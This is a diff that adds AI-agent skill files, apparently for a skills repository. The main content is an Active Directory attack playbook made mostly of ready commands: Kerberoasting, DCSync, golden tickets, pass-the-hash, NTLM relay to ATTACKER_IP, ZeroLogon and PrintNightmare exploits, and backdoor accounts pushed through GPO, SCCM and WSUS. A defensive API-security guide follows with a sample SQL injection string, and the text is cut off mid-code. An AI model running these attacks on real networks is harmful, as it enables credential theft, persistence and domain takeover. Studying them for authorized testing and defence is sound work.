diff --git a/skills/active-directory-attacks/SKILL.md b/skills/active-directory-attacks/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..8f4b6c57fed76a76d423744c82ecedc6cf02128c --- /dev/null +++ b/skills/active-directory-attacks/SKILL.md @@ -0,0 +1,391 @@ +--- +name: active-directory-attacks +description: "Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing." +risk: offensive +source: community +author: zebbern +date_added: "2026-02-27" +--- + +> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. + + + +# Active Directory Attacks + +## Purpose + +Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing. + +## Inputs/Prerequisites + +- Kali Linux or Windows attack platform +- Domain user credentials (for most attacks) +- Network access to Domain Controller +- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec + +## Outputs/Deliverables + +- Domain enumeration data +- Extracted credentials and hashes +- Kerberos tickets for impersonation +- Domain Administrator access +- Persistent access mechanisms + +--- + +## Essential Tools + +| Tool | Purpose | +|------|---------| +| BloodHound | AD attack path visualization | +| Impacket | Python AD attack tools | +| Mimikatz | Credential extraction | +| Rubeus | Kerberos attacks | +| CrackMapExec | Network exploitation | +| PowerView | AD enumeration | +| Responder | LLMNR/NBT-NS poisoning | + +--- + +## Core Workflow + +### Step 1: Kerberos Clock Sync + +Kerberos requires clock synchronization (±5 minutes): + +```bash +# Detect clock skew +nmap -sT 10.10.10.10 -p445 --script smb2-time + +# Fix clock on Linux +sudo date -s "14 APR 2024 18:25:16" + +# Fix clock on Windows +net time /domain /set + +# Fake clock without changing system time +faketime -f '+8h' +``` + +### Step 2: AD Reconnaissance with BloodHound + +```bash +# Start BloodHound +neo4j console +bloodhound --no-sandbox + +# Collect data with SharpHound +.\SharpHound.exe -c All +.\SharpHound.exe -c All --ldapusername user --ldappassword pass + +# Python collector (from Linux) +bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all +``` + +### Step 3: PowerView Enumeration + +```powershell +# Get domain info +Get-NetDomain +Get-DomainSID +Get-NetDomainController + +# Enumerate users +Get-NetUser +Get-NetUser -SamAccountName targetuser +Get-UserProperty -Properties pwdlastset + +# Enumerate groups +Get-NetGroupMember -GroupName "Domain Admins" +Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member + +# Find local admin access +Find-LocalAdminAccess -Verbose + +# User hunting +Invoke-UserHunter +Invoke-UserHunter -Stealth +``` + +--- + +## Credential Attacks + +### Password Spraying + +```bash +# Using kerbrute +./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123 + +# Using CrackMapExec +crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success +``` + +### Kerberoasting + +Extract service account TGS tickets and crack offline: + +```bash +# Impacket +GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt + +# Rubeus +.\Rubeus.exe kerberoast /outfile:hashes.txt + +# CrackMapExec +crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt + +# Crack with hashcat +hashcat -m 13100 hashes.txt rockyou.txt +``` + +### AS-REP Roasting + +Target accounts with "Do not require Kerberos preauthentication": + +```bash +# Impacket +GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat + +# Rubeus +.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt + +# Crack with hashcat +hashcat -m 18200 hashes.txt rockyou.txt +``` + +### DCSync Attack + +Extract credentials directly from DC (requires Replicating Directory Changes rights): + +```bash +# Impacket +secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt + +# Mimikatz +lsadump::dcsync /domain:domain.local /user:krbtgt +lsadump::dcsync /domain:domain.local /user:Administrator +``` + +--- + +## Kerberos Ticket Attacks + +### Pass-the-Ticket (Golden Ticket) + +Forge TGT with krbtgt hash for any user: + +```powershell +# Get krbtgt hash via DCSync first +# Mimikatz - Create Golden Ticket +kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt + +# Impacket +ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator +export KRB5CCNAME=Administrator.ccache +psexec.py -k -no-pass domain.local/Administrator@dc.domain.local +``` + +### Silver Ticket + +Forge TGS for specific service: + +```powershell +# Mimikatz +kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt +``` + +### Pass-the-Hash + +```bash +# Impacket +psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH +wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH +smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH + +# CrackMapExec +crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local +crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth +``` + +### OverPass-the-Hash + +Convert NTLM hash to Kerberos ticket: + +```bash +# Impacket +getTGT.py domain.local/user -hashes :NTHASH +export KRB5CCNAME=user.ccache + +# Rubeus +.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt +``` + +--- + +## NTLM Relay Attacks + +### Responder + ntlmrelayx + +```bash +# Start Responder (disable SMB/HTTP for relay) +responder -I eth0 -wrf + +# Start relay +ntlmrelayx.py -tf targets.txt -smb2support + +# LDAP relay for delegation attack +ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access +``` + +### SMB Signing Check + +```bash +crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt +``` + +--- + +## Certificate Services Attacks (AD CS) + +### ESC1 - Misconfigured Templates + +```bash +# Find vulnerable templates +certipy find -u user@domain.local -p password -dc-ip 10.10.10.10 + +# Exploit ESC1 +certipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local + +# Authenticate with certificate +certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 +``` + +### ESC8 - Web Enrollment Relay + +```bash +ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController +``` + +--- + +## Critical CVEs + +### ZeroLogon (CVE-2020-1472) + +```bash +# Check vulnerability +crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon + +# Exploit +python3 cve-2020-1472-exploit.py DC01 10.10.10.10 + +# Extract hashes +secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass + +# Restore password (important!) +python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD +``` + +### PrintNightmare (CVE-2021-1675) + +```bash +# Check for vulnerability +rpcdump.py @10.10.10.10 | grep 'MS-RPRN' + +# Exploit (requires hosting malicious DLL) +python3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\attacker\share\evil.dll' +``` + +### samAccountName Spoofing (CVE-2021-42278/42287) + +```bash +# Automated exploitation +python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell +``` + +--- + +## Quick Reference + +| Attack | Tool | Command | +|--------|------|---------| +| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` | +| AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` | +| DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` | +| Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` | +| Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` | +| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` | + +--- + +## Constraints + +**Must:** +- Synchronize time with DC before Kerberos attacks +- Have valid domain credentials for most attacks +- Document all compromised accounts + +**Must Not:** +- Lock out accounts with excessive password spraying +- Modify production AD objects without approval +- Leave Golden Tickets without documentation + +**Should:** +- Run BloodHound for attack path discovery +- Check for SMB signing before relay attacks +- Verify patch levels for CVE exploitation + +--- + +## Examples + +### Example 1: Domain Compromise via Kerberoasting + +```bash +# 1. Find service accounts with SPNs +GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 + +# 2. Request TGS tickets +GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt + +# 3. Crack tickets +hashcat -m 13100 tgs.txt rockyou.txt + +# 4. Use cracked service account +psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10 +``` + +### Example 2: NTLM Relay to LDAP + +```bash +# 1. Start relay targeting LDAP +ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access + +# 2. Trigger authentication (e.g., via PrinterBug) +python3 printerbug.py domain.local/user:pass@target 10.10.10.12 + +# 3. Use created machine account for RBCD attack +``` + +--- + +## Troubleshooting + +| Issue | Solution | +|-------|----------| +| Clock skew too great | Sync time with DC or use faketime | +| Kerberoasting returns empty | No service accounts with SPNs | +| DCSync access denied | Need Replicating Directory Changes rights | +| NTLM relay fails | Check SMB signing, try LDAP target | +| BloodHound empty | Verify collector ran with correct creds | + +--- + +## Additional Resources + +For advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see [references/advanced-attacks.md](references/advanced-attacks.md). + +## When to Use +This skill is applicable to execute the workflow or actions described in the overview. diff --git a/skills/active-directory-attacks/references/advanced-attacks.md b/skills/active-directory-attacks/references/advanced-attacks.md new file mode 100644 index 0000000000000000000000000000000000000000..2428ecf0944359bd1e871f67fd7486514e70a6a4 --- /dev/null +++ b/skills/active-directory-attacks/references/advanced-attacks.md @@ -0,0 +1,382 @@ +# Advanced Active Directory Attacks Reference + +## Table of Contents +1. [Delegation Attacks](#delegation-attacks) +2. [Group Policy Object Abuse](#group-policy-object-abuse) +3. [RODC Attacks](#rodc-attacks) +4. [SCCM/WSUS Deployment](#sccmwsus-deployment) +5. [AD Certificate Services (ADCS)](#ad-certificate-services-adcs) +6. [Trust Relationship Attacks](#trust-relationship-attacks) +7. [ADFS Golden SAML](#adfs-golden-saml) +8. [Credential Sources](#credential-sources) +9. [Linux AD Integration](#linux-ad-integration) + +--- + +## Delegation Attacks + +### Unconstrained Delegation + +When a user authenticates to a computer with unconstrained delegation, their TGT is saved to memory. + +**Find Delegation:** +```powershell +# PowerShell +Get-ADComputer -Filter {TrustedForDelegation -eq $True} + +# BloodHound +MATCH (c:Computer {unconstraineddelegation:true}) RETURN c +``` + +**SpoolService Abuse:** +```bash +# Check spooler service +ls \\dc01\pipe\spoolss + +# Trigger with SpoolSample +.\SpoolSample.exe DC01.domain.local HELPDESK.domain.local + +# Or with printerbug.py +python3 printerbug.py 'domain/user:pass'@DC01 ATTACKER_IP +``` + +**Monitor with Rubeus:** +```powershell +Rubeus.exe monitor /interval:1 +``` + +### Constrained Delegation + +**Identify:** +```powershell +Get-DomainComputer -TrustedToAuth | select -exp msds-AllowedToDelegateTo +``` + +**Exploit with Rubeus:** +```powershell +# S4U2 attack +Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt +``` + +**Exploit with Impacket:** +```bash +getST.py -spn HOST/target.domain.local 'domain/user:password' -impersonate Administrator -dc-ip DC_IP +``` + +### Resource-Based Constrained Delegation (RBCD) + +```powershell +# Create machine account +New-MachineAccount -MachineAccount AttackerPC -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force) + +# Set delegation +Set-ADComputer target -PrincipalsAllowedToDelegateToAccount AttackerPC$ + +# Get ticket +.\Rubeus.exe s4u /user:AttackerPC$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt +``` + +--- + +## Group Policy Object Abuse + +### Find Vulnerable GPOs + +```powershell +Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|WriteDacl|WriteOwner")} +``` + +### Abuse with SharpGPOAbuse + +```powershell +# Add local admin +.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName "Vulnerable GPO" + +# Add user rights +.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount attacker --GPOName "Vulnerable GPO" + +# Add immediate task +.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c net user backdoor Password123! /add" --GPOName "Vulnerable GPO" +``` + +### Abuse with pyGPOAbuse (Linux) + +```bash +./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" +``` + +--- + +## RODC Attacks + +### RODC Golden Ticket + +RODCs contain filtered AD copy (excludes LAPS/Bitlocker keys). Forge tickets for principals in msDS-RevealOnDemandGroup. + +### RODC Key List Attack + +**Requirements:** +- krbtgt credentials of the RODC (-rodcKey) +- ID of the krbtgt account of the RODC (-rodcNo) + +```bash +# Impacket keylistattack +keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full + +# Using secretsdump with keylist +secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist +``` + +**Using Rubeus:** +```powershell +Rubeus.exe golden /rodcNumber:25078 /aes256:RODC_AES256_KEY /user:Administrator /id:500 /domain:domain.local /sid:S-1-5-21-xxx +``` + +--- + +## SCCM/WSUS Deployment + +### SCCM Attack with MalSCCM + +```bash +# Locate SCCM server +MalSCCM.exe locate + +# Enumerate targets +MalSCCM.exe inspect /all +MalSCCM.exe inspect /computers + +# Create target group +MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device +MalSCCM.exe group /addhost /groupname:TargetGroup /host:TARGET-PC + +# Create malicious app +MalSCCM.exe app /create /name:backdoor /uncpath:"\\SCCM\SCCMContentLib$\evil.exe" + +# Deploy +MalSCCM.exe app /deploy /name:backdoor /groupname:TargetGroup /assignmentname:update + +# Force checkin +MalSCCM.exe checkin /groupname:TargetGroup + +# Cleanup +MalSCCM.exe app /cleanup /name:backdoor +MalSCCM.exe group /delete /groupname:TargetGroup +``` + +### SCCM Network Access Accounts + +```powershell +# Find SCCM blob +Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_NetworkAccessAccount" + +# Decrypt with SharpSCCM +.\SharpSCCM.exe get naa -u USERNAME -p PASSWORD +``` + +### WSUS Deployment Attack + +```bash +# Using SharpWSUS +SharpWSUS.exe locate +SharpWSUS.exe inspect + +# Create malicious update +SharpWSUS.exe create /payload:"C:\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user backdoor Password123! /add\"" /title:"Critical Update" + +# Deploy to target +SharpWSUS.exe approve /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group" + +# Check status +SharpWSUS.exe check /updateid:GUID /computername:TARGET.domain.local + +# Cleanup +SharpWSUS.exe delete /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group" +``` + +--- + +## AD Certificate Services (ADCS) + +### ESC1 - Misconfigured Templates + +Template allows ENROLLEE_SUPPLIES_SUBJECT with Client Authentication EKU. + +```bash +# Find vulnerable templates +certipy find -u user@domain.local -p password -dc-ip DC_IP -vulnerable + +# Request certificate as admin +certipy req -u user@domain.local -p password -ca CA-NAME -target ca.domain.local -template VulnTemplate -upn administrator@domain.local + +# Authenticate +certipy auth -pfx administrator.pfx -dc-ip DC_IP +``` + +### ESC4 - ACL Vulnerabilities + +```python +# Check for WriteProperty +python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -get-acl + +# Add ENROLLEE_SUPPLIES_SUBJECT flag +python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT + +# Perform ESC1, then restore +python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -value 0 -property mspki-Certificate-Name-Flag +``` + +### ESC8 - NTLM Relay to Web Enrollment + +```bash +# Start relay +ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController + +# Coerce authentication +python3 petitpotam.py ATTACKER_IP DC_IP + +# Use certificate +Rubeus.exe asktgt /user:DC$ /certificate:BASE64_CERT /ptt +``` + +### Shadow Credentials + +```bash +# Add Key Credential (pyWhisker) +python3 pywhisker.py -d "domain.local" -u "user1" -p "password" --target "TARGET" --action add + +# Get TGT with PKINIT +python3 gettgtpkinit.py -cert-pfx "cert.pfx" -pfx-pass "password" "domain.local/TARGET" target.ccache + +# Get NT hash +export KRB5CCNAME=target.ccache +python3 getnthash.py -key 'AS-REP_KEY' domain.local/TARGET +``` + +--- + +## Trust Relationship Attacks + +### Child to Parent Domain (SID History) + +```powershell +# Get Enterprise Admins SID from parent +$ParentSID = "S-1-5-21-PARENT-DOMAIN-SID-519" + +# Create Golden Ticket with SID History +kerberos::golden /user:Administrator /domain:child.parent.local /sid:S-1-5-21-CHILD-SID /krbtgt:KRBTGT_HASH /sids:$ParentSID /ptt +``` + +### Forest to Forest (Trust Ticket) + +```bash +# Dump trust key +lsadump::trust /patch + +# Forge inter-realm TGT +kerberos::golden /domain:domain.local /sid:S-1-5-21-xxx /rc4:TRUST_KEY /user:Administrator /service:krbtgt /target:external.com /ticket:trust.kirbi + +# Use trust ticket +.\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/target.external.com /dc:dc.external.com /ptt +``` + +--- + +## ADFS Golden SAML + +**Requirements:** +- ADFS service account access +- Token signing certificate (PFX + decryption password) + +```bash +# Dump with ADFSDump +.\ADFSDump.exe + +# Forge SAML token +python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://target/saml --nameid administrator@domain.local +``` + +--- + +## Credential Sources + +### LAPS Password + +```powershell +# PowerShell +Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime' + +# CrackMapExec +crackmapexec ldap DC_IP -u user -p password -M laps +``` + +### GMSA Password + +```powershell +# PowerShell + DSInternals +$gmsa = Get-ADServiceAccount -Identity 'SVC_ACCOUNT' -Properties 'msDS-ManagedPassword' +$mp = $gmsa.'msDS-ManagedPassword' +ConvertFrom-ADManagedPasswordBlob $mp +``` + +```bash +# Linux with bloodyAD +python bloodyAD.py -u user -p password --host DC_IP getObjectAttributes gmsaAccount$ msDS-ManagedPassword +``` + +### Group Policy Preferences (GPP) + +```bash +# Find in SYSVOL +findstr /S /I cpassword \\domain.local\sysvol\domain.local\policies\*.xml + +# Decrypt +python3 Get-GPPPassword.py -no-pass 'DC_IP' +``` + +### DSRM Credentials + +```powershell +# Dump DSRM hash +Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' + +# Enable DSRM admin logon +Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 +``` + +--- + +## Linux AD Integration + +### CCACHE Ticket Reuse + +```bash +# Find tickets +ls /tmp/ | grep krb5cc + +# Use ticket +export KRB5CCNAME=/tmp/krb5cc_1000 +``` + +### Extract from Keytab + +```bash +# List keys +klist -k /etc/krb5.keytab + +# Extract with KeyTabExtract +python3 keytabextract.py /etc/krb5.keytab +``` + +### Extract from SSSD + +```bash +# Database location +/var/lib/sss/secrets/secrets.ldb + +# Key location +/var/lib/sss/secrets/.secrets.mkey + +# Extract +python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey +``` diff --git a/skills/api-security-best-practices/SKILL.md b/skills/api-security-best-practices/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..3afee9a7deb40898dba1e523f418f3f8ca1e080b --- /dev/null +++ b/skills/api-security-best-practices/SKILL.md @@ -0,0 +1,915 @@ +--- +name: api-security-best-practices +description: "Implement secure API design patterns including authentication, authorization, input validation, rate limiting, and protection against common API vulnerabilities" +risk: unknown +source: community +date_added: "2026-02-27" +--- + +# API Security Best Practices + +## Overview + +Guide developers in building secure APIs by implementing authentication, authorization, input validation, rate limiting, and protection against common vulnerabilities. This skill covers security patterns for REST, GraphQL, and WebSocket APIs. + +## When to Use This Skill + +- Use when designing new API endpoints +- Use when securing existing APIs +- Use when implementing authentication and authorization +- Use when protecting against API attacks (injection, DDoS, etc.) +- Use when conducting API security reviews +- Use when preparing for security audits +- Use when implementing rate limiting and throttling +- Use when handling sensitive data in APIs + +## How It Works + +### Step 1: Authentication & Authorization + +I'll help you implement secure authentication: +- Choose authentication method (JWT, OAuth 2.0, API keys) +- Implement token-based authentication +- Set up role-based access control (RBAC) +- Secure session management +- Implement multi-factor authentication (MFA) + +### Step 2: Input Validation & Sanitization + +Protect against injection attacks: +- Validate all input data +- Sanitize user inputs +- Use parameterized queries +- Implement request schema validation +- Prevent SQL injection, XSS, and command injection + +### Step 3: Rate Limiting & Throttling + +Prevent abuse and DDoS attacks: +- Implement rate limiting per user/IP +- Set up API throttling +- Configure request quotas +- Handle rate limit errors gracefully +- Monitor for suspicious activity + +### Step 4: Data Protection + +Secure sensitive data: +- Encrypt data in transit (HTTPS/TLS) +- Encrypt sensitive data at rest +- Implement proper error handling (no data leaks) +- Sanitize error messages +- Use secure headers + +### Step 5: API Security Testing + +Verify security implementation: +- Test authentication and authorization +- Perform penetration testing +- Check for common vulnerabilities (OWASP API Top 10) +- Validate input handling +- Test rate limiting + + +## Examples + +### Example 1: Implementing JWT Authentication + +```markdown +## Secure JWT Authentication Implementation + +### Authentication Flow + +1. User logs in with credentials +2. Server validates credentials +3. Server generates JWT token +4. Client stores token securely +5. Client sends token with each request +6. Server validates token + +### Implementation + +#### 1. Generate Secure JWT Tokens + +\`\`\`javascript +// auth.js +const jwt = require('jsonwebtoken'); +const bcrypt = require('bcrypt'); + +// Login endpoint +app.post('/api/auth/login', async (req, res) => { + try { + const { email, password } = req.body; + + // Validate input + if (!email || !password) { + return res.status(400).json({ + error: 'Email and password are required' + }); + } + + // Find user + const user = await db.user.findUnique({ + where: { email } + }); + + if (!user) { + // Don't reveal if user exists + return res.status(401).json({ + error: 'Invalid credentials' + }); + } + + // Verify password + const validPassword = await bcrypt.compare( + password, + user.passwordHash + ); + + if (!validPassword) { + return res.status(401).json({ + error: 'Invalid credentials' + }); + } + + // Generate JWT token + const token = jwt.sign( + { + userId: user.id, + email: user.email, + role: user.role + }, + process.env.JWT_SECRET, + { + expiresIn: '1h', + issuer: 'your-app', + audience: 'your-app-users' + } + ); + + // Generate refresh token + const refreshToken = jwt.sign( + { userId: user.id }, + process.env.JWT_REFRESH_SECRET, + { expiresIn: '7d' } + ); + + // Store refresh token in database + await db.refreshToken.create({ + data: { + token: refreshToken, + userId: user.id, + expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000) + } + }); + + res.json({ + token, + refreshToken, + expiresIn: 3600 + }); + + } catch (error) { + console.error('Login error:', error); + res.status(500).json({ + error: 'An error occurred during login' + }); + } +}); +\`\`\` + +#### 2. Verify JWT Tokens (Middleware) + +\`\`\`javascript +// middleware/auth.js +const jwt = require('jsonwebtoken'); + +function authenticateToken(req, res, next) { + // Get token from header + const authHeader = req.headers['authorization']; + const token = authHeader && authHeader.split(' ')[1]; // Bearer TOKEN + + if (!token) { + return res.status(401).json({ + error: 'Access token required' + }); + } + + // Verify token + jwt.verify( + token, + process.env.JWT_SECRET, + { + issuer: 'your-app', + audience: 'your-app-users' + }, + (err, user) => { + if (err) { + if (err.name === 'TokenExpiredError') { + return res.status(401).json({ + error: 'Token expired' + }); + } + return res.status(403).json({ + error: 'Invalid token' + }); + } + + // Attach user to request + req.user = user; + next(); + } + ); +} + +module.exports = { authenticateToken }; +\`\`\` + +#### 3. Protect Routes + +\`\`\`javascript +const { authenticateToken } = require('./middleware/auth'); + +// Protected route +app.get('/api/user/profile', authenticateToken, async (req, res) => { + try { + const user = await db.user.findUnique({ + where: { id: req.user.userId }, + select: { + id: true, + email: true, + name: true, + // Don't return passwordHash + } + }); + + res.json(user); + } catch (error) { + res.status(500).json({ error: 'Server error' }); + } +}); +\`\`\` + +#### 4. Implement Token Refresh + +\`\`\`javascript +app.post('/api/auth/refresh', async (req, res) => { + const { refreshToken } = req.body; + + if (!refreshToken) { + return res.status(401).json({ + error: 'Refresh token required' + }); + } + + try { + // Verify refresh token + const decoded = jwt.verify( + refreshToken, + process.env.JWT_REFRESH_SECRET + ); + + // Check if refresh token exists in database + const storedToken = await db.refreshToken.findFirst({ + where: { + token: refreshToken, + userId: decoded.userId, + expiresAt: { gt: new Date() } + } + }); + + if (!storedToken) { + return res.status(403).json({ + error: 'Invalid refresh token' + }); + } + + // Generate new access token + const user = await db.user.findUnique({ + where: { id: decoded.userId } + }); + + const newToken = jwt.sign( + { + userId: user.id, + email: user.email, + role: user.role + }, + process.env.JWT_SECRET, + { expiresIn: '1h' } + ); + + res.json({ + token: newToken, + expiresIn: 3600 + }); + + } catch (error) { + res.status(403).json({ + error: 'Invalid refresh token' + }); + } +}); +\`\`\` + +### Security Best Practices + +- ✅ Use strong JWT secrets (256-bit minimum) +- ✅ Set short expiration times (1 hour for access tokens) +- ✅ Implement refresh tokens for long-lived sessions +- ✅ Store refresh tokens in database (can be revoked) +- ✅ Use HTTPS only +- ✅ Don't store sensitive data in JWT payload +- ✅ Validate token issuer and audience +- ✅ Implement token blacklisting for logout +``` + + +### Example 2: Input Validation and SQL Injection Prevention + +```markdown +## Preventing SQL Injection and Input Validation + +### The Problem + +**❌ Vulnerable Code:** +\`\`\`javascript +// NEVER DO THIS - SQL Injection vulnerability +app.get('/api/users/:id', async (req, res) => { + const userId = req.params.id; + + // Dangerous: User input directly in query + const query = \`SELECT * FROM users WHERE id = '\${userId}'\`; + const user = await db.query(query); + + res.json(user); +}); + +// Attack example: +// GET /api/users/1' OR '1'='1 +// Returns all users! +\`\`\` + +### The Solution + +#### 1. Use Parameterized Queries + +\`\`\`javascript +// ✅ Safe: Parameterized query +app.get('/api/users/:id', async (req, res) => { + const userId = req.params.id; + + // Validate input first + if (!userId || !/^\d+$/.test(userId)) { + return res.status(400).json({ + error: 'Invalid user ID' + }); + } + + // Use parameterized query + const user = await db.query( + 'SELECT id, email, name FROM users WHERE id = $1', + [userId] + ); + + if (!user) { + return res.status(404).json({ + error: 'User not found' + }); + } + + res.json(user); +}); +\`\`\` + +#### 2. Use ORM with Proper Escaping + +\`\`\`javascript +// ✅ Safe: Using Prisma ORM +app.get('/api/users/:id', async (req, res) => { + const userId = parseInt(req.params.id); + + if (isNaN(userId)) { + return res.status(400).json({ + error: 'Invalid user ID' + }); + } + + const user = await prisma.user.findUnique({ + where: { id: userId }, + select: { + id: true, + email: true, + name: true, + // Don't select sensitive fields + } + }); + + if (!user) { + return res.status(404).json({ + error: 'User not found' + }); + } + + res.json(user); +}); +\`\`\` + +#### 3. Implement Request Validation with Zod + +\`\`\`javascript +const { z } = require('zod'); + +// Define validation schema +const createUserSchema = z.object({ + email: z.string().email('Invalid email format'), + password: z.string() + .min(8, 'Password must be at least 8 characters') + .regex(/[A-Z]/, 'Password must contain uppercase letter') + .regex(/[a-z]/, 'Password must contain lowercase letter') + .regex(/[0-9]/, 'Password must contain number'), + name: z.string() + .min(2, 'Name must be at least 2 characters') + .max(100, 'Name too long'), + age: z.number() + .int('Age must be an integer') + .min(18, 'Must be 18 or older') + .max(120, 'Invalid age') + .optional() +}); + +// Validation middleware +function validateRequest(schema) { + return (req, res, next) => { + try { + schema.parse(req.body); + next(); + } catch (error) { + res.status(400).json({ + error: 'Validation failed', + details: error.errors + }); + } + }; +} + +// Use validation +app.post('/api/users', + validateRequest(createUserSchema), + async (req, res) => { + // Input is validated at this point + const { email, password, name, age } = req.body; + + // Hash password + const passwordHash = await bcrypt.hash(password, 10); + + // Create user + const user = await prisma.user.create({ + data: { + email, + passwordHash, + name, + age + } + }); + + // Don't return password hash + const { passwordHash: _, ...userWithoutPassword } = user; + res.status(201).json(userWithoutPassword); + } +); +\`\`\` + +#### 4. Sanitize Output to Prevent XSS + +\`\`\`javascript +const DOMPurify = require('isomorphic-dompurify'); + +app.post('/api/comments', authenticateToken, async (req, res) => { + const { content } = req.body; + + // Validate + if (!content || content.length > 1000) { + return res.status(400).json({ + error: 'Invalid comment content' + }); + } + + // Sanitize HTML to prevent XSS + const sanitizedContent = DOMPurify.sanitize(content, { + ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'], + ALLOWED_ATTR: ['href'] + }); + + const comment = await prisma.comment.create({ + data: { + content: sanitizedContent, + userId: req.user.userId + } + }); + + res.status(201).json(comment); +}); +\`\`\` + +### Validation Checklist + +- [ ] Validate all user inputs +- [ ] Use parameterized queries or ORM +- [ ] Validate data types (string, number, email, etc.) +- [ ] Validate data ranges (min/max length, value ranges) +- [ ] Sanitize HTML content +- [ ] Escape special characters +- [ ] Validate file uploads (type, size, content) +- [ ] Use allowlists, not blocklists +``` + + +### Example 3: Rate Limiting and DDoS Protection + +```markdown +## Implementing Rate Limiting + +### Why Rate Limiting? + +- Prevent brute force attacks +- Protect against DDoS +- Prevent API abuse +- Ensure fair usage +- Reduce server costs + +### Implementation with Express Rate Limit + +\`\`\`javascript +const rateLimit = require('express-rate-limit'); +const RedisStore = require('rate-limit-redis'); +const Redis = require('ioredis'); + +// Create Redis client +const redis = new Redis({ + host: process.env.REDIS_HOST, + port: process.env.REDIS_PORT +}); + +// 